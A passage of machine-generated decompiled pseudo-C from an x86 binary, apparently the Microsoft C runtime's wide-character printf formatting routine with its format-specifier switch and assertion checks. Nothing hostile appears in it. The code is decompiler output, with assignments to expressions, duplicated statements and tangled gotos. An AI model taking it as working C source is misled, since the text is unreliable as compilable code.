																	__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																	__eflags = __ecx - 0x34;
																	if(__ecx != 0x34) {
																		goto L50;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																		goto L61;
																	}
																case 1:
																	L62:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) = __ecx;
																	goto L64;
																case 2:
																	L43:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																	__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																	if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	} else {
																		__ecx =  *(__ebp + 0xc);
																		__ecx =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) = __ecx;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L64;
																case 3:
																	L63:
																	__edx =  *(__ebp - 0x10);
																	__edx =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __edx;
																	 *(__ebp - 0x10) = __edx;
																	goto L64;
																case 4:
																	goto L64;
															}
														case 7:
															L65:
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
															__ecx =  *(__ebp - 0x4ec);
															__ecx =  *(__ebp - 0x4ec) - 0x41;
															 *(__ebp - 0x4ec) = __ecx;
															__eflags =  *(__ebp - 0x4ec) - 0x37;
															if( *(__ebp - 0x4ec) > 0x37) {
																while(1) {
																	L187:
																	__eflags =  *(_t674 - 0x28);
																	if( *(_t674 - 0x28) != 0) {
																		goto L212;
																	}
																	goto L188;
																}
															}
															L66:
															_t142 =  *(__ebp - 0x4ec) + 0x42aa18; // 0x55ff8b0d
															__eax =  *_t142 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t142 & 0x000000ff) * 4 +  &M0042A9DC))) {
																case 0:
																	L120:
																	 *(__ebp - 0x2c) = 1;
																	 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																	 *(__ebp - 0x454) = __ax;
																	goto L121;
																case 1:
																	L67:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000020;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																	}
																	goto L69;
																case 2:
																	L82:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L84;
																case 3:
																	L144:
																	 *(__ebp - 0x460) = 7;
																	goto L146;
																case 4:
																	L75:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x474) = E00429820(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x474);
																	if( *(__ebp - 0x474) == 0) {
																		L77:
																		__edx =  *0x44ba18; // 0x409128
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E00427150( *(__ebp - 4));
																		L81:
																		goto L187;
																	}
																	L76:
																	__ecx =  *(__ebp - 0x474);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x474);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x474);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x474);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x474);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L81;
																	}
																	goto L77;
																case 5:
																	L121:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__edx = __ebp - 0x448;
																	 *(__ebp - 4) = __ebp - 0x448;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L123:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L126:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L128:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				__ecx =  *(__ebp - 0x30);
																				__ecx =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L00421A30( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__edx =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__edx =  *(__ebp + 0x14);
																			__eax =  *(__edx - 8);
																			__ecx =  *(__edx - 4);
																			 *(__ebp - 0x490) =  *(__edx - 8);
																			 *(__ebp - 0x48c) =  *(__edx - 4);
																			__ecx = __ebp - 0x40;
																			_push(E00423790(__ebp - 0x40));
																			__edx =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__eax =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__ecx =  *(__ebp - 0x454);
																			_push( *(__ebp - 0x454));
																			__edx =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__eax =  *(__ebp - 4);
																			_push(__eax);
																			__ecx = __ebp - 0x490;
																			_push(__ebp - 0x490);
																			__edx =  *0x44ba08; // 0xae625e32
																			_push(__edx);
																			__imp__DecodePointer();
																			__eax =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					__eax = E00423790(__ebp - 0x40);
																					_push(__eax);
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx =  *0x44ba14; // 0xae625e32
																					_push(__edx);
																					__imp__DecodePointer();
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E00423790(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x44ba10; // 0xae625e32
																					_push(__eax);
																					__imp__DecodePointer();
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *(__ebp - 4);
																			__edx =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__ecx =  *(__ebp - 4);
																				__ecx =  *(__ebp - 4) + 1;
																				__eflags = __ecx;
																				 *(__ebp - 4) = __ecx;
																			}
																			__edx =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E00427150( *(__ebp - 4));
																			do {
																				L187:
																				__eflags =  *(_t674 - 0x28);
																				if( *(_t674 - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			} while ( *(__ebp - 0x4ec) > 0x37);
																			goto L66;
																		}
																		L124:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																		if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																			goto L126;
																		}
																		L125:
																		 *(__ebp - 0x30) = 1;
																		goto L128;
																	}
																	L122:
																	 *(__ebp - 0x30) = 6;
																	goto L128;
																case 6:
																	L69:
																	 *(__ebp - 0xc) = 1;
																	__ebp + 0x14 = E00429820(__ebp + 0x14);
																	 *(__ebp - 0x458) = __ax;
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) & 0x00000020;
																	__eflags = __ecx;
																	if(__ecx == 0) {
																		 *(__ebp - 0x448) =  *(__ebp - 0x458);
																	} else {
																		 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																		 *(__ebp - 0x470) = __dl;
																		 *((char*)(__ebp - 0x46f)) = 0;
																		__ecx = __ebp - 0x40;
																		__eax = E00423790(__ebp - 0x40);
																		__ecx = __ebp - 0x40;
																		E00423790(__ebp - 0x40) =  *__eax;
																		__ecx =  *(__ebp - 0x448 + 0xac);
																		__edx = __ebp - 0x470;
																		__eax = __ebp - 0x448;
																		__eax = E00439180(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																		__eflags = __eax;
																		if(__eax < 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																	}
																	__edx = __ebp - 0x448;
																	 *(__ebp - 4) = __ebp - 0x448;
																	 *(__ebp - 0x24) = 1;
																	while(1) {
																		L187:
																		__eflags =  *(_t674 - 0x28);
																		if( *(_t674 - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
																case 7:
																	L141:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	L150:
																	__eflags =  *(_t674 - 0x10) & 0x00008000;
																	if(( *(_t674 - 0x10) & 0x00008000) == 0) {
																		_t623 =  *(_t674 - 0x10) & 0x00001000;
																		__eflags = _t623;
																		if(_t623 == 0) {
																			__eflags =  *(_t674 - 0x10) & 0x00000020;
																			if(( *(_t674 - 0x10) & 0x00000020) == 0) {
																				_t625 =  *(_t674 - 0x10) & 0x00000040;
																				__eflags = _t625;
																				if(_t625 == 0) {
																					_t483 = E00429820(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					__eflags = 0;
																					 *(_t674 - 0x4a0) = _t483;
																					 *(_t674 - 0x49c) = 0;
																				} else {
																					_t556 = E00429820(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t556;
																					 *(_t674 - 0x49c) = _t625;
																				}
																			} else {
																				_t671 =  *(_t674 - 0x10) & 0x00000040;
																				__eflags = _t671;
																				if(_t671 == 0) {
																					_t557 = E00429820(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
																					 *(_t674 - 0x49c) = _t671;
																				} else {
																					_t560 = E00429820(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t560;
																					 *(_t674 - 0x49c) = _t671;
																				}
																			}
																		} else {
																			_t563 = E00429840(_t674 + 0x14);
																			_t676 = _t676 + 4;
																			 *(_t674 - 0x4a0) = _t563;
																			 *(_t674 - 0x49c) = _t623;
																		}
																	} else {
																		_t564 = E00429840(_t674 + 0x14);
																		_t676 = _t676 + 4;
																		 *(_t674 - 0x4a0) = _t564;
																		 *(_t674 - 0x49c) = _t621;
																	}
																	__eflags =  *(_t674 - 0x10) & 0x00000040;
																	if(( *(_t674 - 0x10) & 0x00000040) == 0) {
																		goto L167;
																	}
																case 8:
																	L106:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x484) = E00429820(__ebp + 0x14);
																	__eax = E004390D0();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L116:
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0x00000020;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			__ecx =  *(__ebp - 0x484);
																			__edx =  *(__ebp - 0x44c);
																			 *__ecx =  *(__ebp - 0x44c);
																		} else {
																			__edx =  *(__ebp - 0x484);
																			__ax =  *(__ebp - 0x44c);
																			 *( *(__ebp - 0x484)) = __ax;
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L187:
																			__eflags =  *(_t674 - 0x28);
																			if( *(_t674 - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																	L107:
																	__ecx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x4f4) = 0;
																	} else {
																		 *(__ebp - 0x4f4) = 1;
																	}
																	__edx =  *(__ebp - 0x4f4);
																	 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																	__eflags =  *(__ebp - 0x488);
																	if( *(__ebp - 0x488) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L00427590();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x488);
																	if( *(__ebp - 0x488) != 0) {
																		L115:
																		while(1) {
																			L187:
																			__eflags =  *(_t674 - 0x28);
																			if( *(_t674 - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	} else {
																		L114:
																		 *((intOrPtr*)(L004256E0(__ecx))) = 0x16;
																		__eax = E00428500(__ecx, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x4cc) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E00423760(__ecx);
																		__eax =  *(__ebp - 0x4cc);
																		goto L225;
																	}
																case 9:
																	goto L0;
																case 0xa:
																	L143:
																	 *(__ebp - 0x30) = 8;
																	goto L144;
																case 0xb:
																	L84:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x4f0) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x4f0);
																	 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 4) = E00429820(__ebp + 0x14);
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																	__eflags =  *(__ebp - 0x10) & 0x00000020;
																	if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																		L98:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__ecx =  *0x44ba1c; // 0x409118
																			 *(__ebp - 4) = __ecx;
																		}
																		 *(__ebp - 0xc) = 1;
																		__edx =  *(__ebp - 4);
																		 *(__ebp - 0x480) =  *(__ebp - 4);
																		while(1) {
																			L101:
																			__eax =  *(__ebp - 0x47c);
																			__ecx =  *(__ebp - 0x47c);
																			__ecx =  *(__ebp - 0x47c) - 1;
																			 *(__ebp - 0x47c) = __ecx;
																			__eflags =  *(__ebp - 0x47c);
																			if( *(__ebp - 0x47c) == 0) {
																				break;
																			}
																			L102:
																			__edx =  *(__ebp - 0x480);
																			__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																			__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																			if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																				break;
																			}
																			L103:
																			 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																			 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																		}
																		L104:
																		__edx =  *(__ebp - 0x480);
																		__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																		__eflags = __edx;
																		 *(__ebp - 0x24) = __edx;
																		goto L105;
																	} else {
																		L88:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__eax =  *0x44ba18; // 0x409128
																			 *(__ebp - 4) = __eax;
																		}
																		__ecx =  *(__ebp - 4);
																		 *(__ebp - 0x478) = __ecx;
																		 *(__ebp - 0x24) = 0;
																		while(1) {
																			L92:
																			__eax =  *(__ebp - 0x24);
																			__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																			if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																				break;
																			}
																			L93:
																			__ecx =  *(__ebp - 0x478);
																			__edx =  *__ecx;
																			__eflags =  *__ecx;
																			if( *__ecx == 0) {
																				break;
																			}
																			L94:
																			__ecx = __ebp - 0x40;
																			E00423790(__ebp - 0x40) =  *(__ebp - 0x478);
																			__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																			__eax = E00439110( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																			__eflags = __eax;
																			if(__eax != 0) {
																				__edx =  *(__ebp - 0x478);
																				__edx =  *(__ebp - 0x478) + 1;
																				__eflags = __edx;
																				 *(__ebp - 0x478) = __edx;
																			}
																			 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																			 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																			__edx =  *(__ebp - 0x24);
																			__edx =  *(__ebp - 0x24) + 1;
																			__eflags = __edx;
																			 *(__ebp - 0x24) = __edx;
																		}
																		L97:
																		L105:
																		while(1) {
																			L187:
																			__eflags =  *(_t674 - 0x28);
																			if( *(_t674 - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																case 0xc:
																	L142:
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	while(1) {
																		L150:
																		__eflags =  *(_t674 - 0x10) & 0x00008000;
																		if(( *(_t674 - 0x10) & 0x00008000) == 0) {
																			_t623 =  *(_t674 - 0x10) & 0x00001000;
																			__eflags = _t623;
																			if(_t623 == 0) {
																				__eflags =  *(_t674 - 0x10) & 0x00000020;
																				if(( *(_t674 - 0x10) & 0x00000020) == 0) {
																					_t625 =  *(_t674 - 0x10) & 0x00000040;
																					__eflags = _t625;
																					if(_t625 == 0) {
																						_t483 = E00429820(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						__eflags = 0;
																						 *(_t674 - 0x4a0) = _t483;
																						 *(_t674 - 0x49c) = 0;
																					} else {
																						_t556 = E00429820(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t556;
																						 *(_t674 - 0x49c) = _t625;
																					}
																				} else {
																					_t671 =  *(_t674 - 0x10) & 0x00000040;
																					__eflags = _t671;
																					if(_t671 == 0) {
																						_t557 = E00429820(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
																						 *(_t674 - 0x49c) = _t671;
																					} else {
																						_t560 = E00429820(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t560;
																						 *(_t674 - 0x49c) = _t671;
																					}
																				}
																			} else {
																				_t563 = E00429840(_t674 + 0x14);
																				_t676 = _t676 + 4;
																				 *(_t674 - 0x4a0) = _t563;
																				 *(_t674 - 0x49c) = _t623;
																			}
																		} else {
																			_t564 = E00429840(_t674 + 0x14);
																			_t676 = _t676 + 4;
																			 *(_t674 - 0x4a0) = _t564;
																			 *(_t674 - 0x49c) = _t621;
																		}
																		__eflags =  *(_t674 - 0x10) & 0x00000040;
																		if(( *(_t674 - 0x10) & 0x00000040) == 0) {
																			goto L167;
																		}
																		goto L163;
																	}
																case 0xd:
																	L145:
																	 *(__ebp - 0x460) = 0x27;
																	L146:
																	 *((intOrPtr*)(__ebp - 8)) = 0x10;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		__edx = 0x30;
																		 *((short*)(__ebp - 0x14)) = __dx;
																		 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																		__eflags =  *(__ebp - 0x460) + 0x51;
																		 *(__ebp - 0x12) = __ax;
																		 *(__ebp - 0x1c) = 2;
																	}
																	while(1) {
																		L150:
																		__eflags =  *(_t674 - 0x10) & 0x00008000;
																		if(( *(_t674 - 0x10) & 0x00008000) == 0) {
																			_t623 =  *(_t674 - 0x10) & 0x00001000;
																			__eflags = _t623;
																			if(_t623 == 0) {
																				__eflags =  *(_t674 - 0x10) & 0x00000020;
																				if(( *(_t674 - 0x10) & 0x00000020) == 0) {
																					_t625 =  *(_t674 - 0x10) & 0x00000040;
																					__eflags = _t625;
																					if(_t625 == 0) {
																						_t483 = E00429820(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						__eflags = 0;
																						 *(_t674 - 0x4a0) = _t483;
																						 *(_t674 - 0x49c) = 0;
																					} else {
																						_t556 = E00429820(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t556;
																						 *(_t674 - 0x49c) = _t625;
																					}
																				} else {
																					_t671 =  *(_t674 - 0x10) & 0x00000040;
																					__eflags = _t671;
																					if(_t671 == 0) {
																						_t557 = E00429820(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
																						 *(_t674 - 0x49c) = _t671;
																					} else {
																						_t560 = E00429820(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						asm("cdq");
																						 *(_t674 - 0x4a0) = _t560;
																						 *(_t674 - 0x49c) = _t671;
																					}
																				}
																			} else {
																				_t563 = E00429840(_t674 + 0x14);
																				_t676 = _t676 + 4;
																				 *(_t674 - 0x4a0) = _t563;
																				 *(_t674 - 0x49c) = _t623;
																			}
																		} else {
																			_t564 = E00429840(_t674 + 0x14);
																			_t676 = _t676 + 4;
																			 *(_t674 - 0x4a0) = _t564;
																			 *(_t674 - 0x49c) = _t621;
																		}
																		__eflags =  *(_t674 - 0x10) & 0x00000040;
																		if(( *(_t674 - 0x10) & 0x00000040) == 0) {
																			goto L167;
																		}
																		goto L163;
																	}
																case 0xe:
																	while(1) {
																		L187:
																		__eflags =  *(_t674 - 0x28);
																		if( *(_t674 - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
															}
														case 8:
															L24:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000002;
															 *(__ebp - 0x10) = __ecx;
															goto L27;
														case 9:
															L25:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															goto L27;
														case 0xa:
															L23:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
															goto L27;
														case 0xb:
															L22:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															goto L27;
														case 0xc:
															L26:
															__eax =  *(__ebp - 0x10);
															__eax =  *(__ebp - 0x10) | 0x00000008;
															__eflags = __eax;
															 *(__ebp - 0x10) = __eax;
															goto L27;
														case 0xd:
															L27:
															goto L214;
													}
												} else {
													_t642 = 0;
													if(0 == 0) {
														 *(_t674 - 0x4dc) = 0;
													} else {
														 *(_t674 - 0x4dc) = 1;
													}
													 *(_t674 - 0x46c) =  *(_t674 - 0x4dc);
													if( *(_t674 - 0x46c) == 0) {
														_push(L"(\"Incorrect format specifier\", 0)");
														_push(0);
														_push(0x460);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t517 = L00427590();
														_t676 = _t676 + 0x14;
														if(_t517 == 1) {
															asm("int3");
														}
													}
													L14:
													if( *(_t674 - 0x46c) != 0) {
														goto L16;
													} else {
														 *((intOrPtr*)(L004256E0(_t588))) = 0x16;
														E00428500(_t588, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
														 *(_t674 - 0x4c8) = 0xffffffff;
														E00423760(_t674 - 0x40);
														_t502 =  *(_t674 - 0x4c8);
														L225:
														return E00425740(_t502, _t565,  *(_t674 - 0x48) ^ _t674, _t642, _t672, _t673);
													}
												}
											}
											L215:
											__eflags =  *(_t674 - 0x45c);
											if( *(_t674 - 0x45c) == 0) {
												L218:
												 *(_t674 - 0x4f8) = 1;
												L219:
												_t642 =  *(_t674 - 0x4f8);
												 *(_t674 - 0x4bc) =  *(_t674 - 0x4f8);
												__eflags =  *(_t674 - 0x4bc);
												if( *(_t674 - 0x4bc) == 0) {
													_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
													_push(0);
													_push(0x8f5);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t507 = L00427590();
													_t676 = _t676 + 0x14;
													__eflags = _t507 - 1;
													if(_t507 == 1) {
														asm("int3");
													}
												}
												__eflags =  *(_t674 - 0x4bc);
												if( *(_t674 - 0x4bc) != 0) {
													 *(_t674 - 0x4d4) =  *(_t674 - 0x44c);
													E00423760(_t674 - 0x40);
													_t502 =  *(_t674 - 0x4d4);
												} else {
													 *((intOrPtr*)(L004256E0(_t580))) = 0x16;
													E00428500(_t580, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
													 *(_t674 - 0x4d0) = 0xffffffff;
													E00423760(_t674 - 0x40);
													_t502 =  *(_t674 - 0x4d0);
												}
												goto L225;
											}
											L216:
											__eflags =  *(_t674 - 0x45c) - 7;
											if( *(_t674 - 0x45c) == 7) {
												goto L218;
											}
											L217:
											 *(_t674 - 0x4f8) = 0;
											goto L219;
										}
									}
									L184:
									__eflags =  *(_t674 - 0x24);
									if( *(_t674 - 0x24) == 0) {
										L186:
										 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
										 *((char*)( *((intOrPtr*)(_t674 - 4)))) = 0x30;
										_t613 =  *(_t674 - 0x24) + 1;
										__eflags = _t613;
										 *(_t674 - 0x24) = _t613;
										goto L187;
									}
									L185:
									__eflags =  *((char*)( *((intOrPtr*)(_t674 - 4)))) - 0x30;
									if( *((char*)( *((intOrPtr*)(_t674 - 4)))) == 0x30) {
										goto L187;
									}
									goto L186;
								}
								L180:
								asm("cdq");
								_t632 =  *(_t674 - 0x4a8);
								 *(_t674 - 0x494) = E00437DD0(_t632,  *(_t674 - 0x4a4),  *(_t674 - 8), _t631) + 0x30;
								asm("cdq");
								 *(_t674 - 0x4a8) = E00437D60( *(_t674 - 0x4a8),  *(_t674 - 0x4a4),  *(_t674 - 8), _t632);
								 *(_t674 - 0x4a4) = _t632;
								__eflags =  *(_t674 - 0x494) - 0x39;
								if( *(_t674 - 0x494) > 0x39) {
									_t636 =  *(_t674 - 0x494) +  *((intOrPtr*)(_t674 - 0x460));
									__eflags = _t636;
									 *(_t674 - 0x494) = _t636;
								}
								 *((char*)( *((intOrPtr*)(_t674 - 4)))) =  *(_t674 - 0x494);
								 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
								L178:
								_t631 =  *(_t674 - 0x30) - 1;
								 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
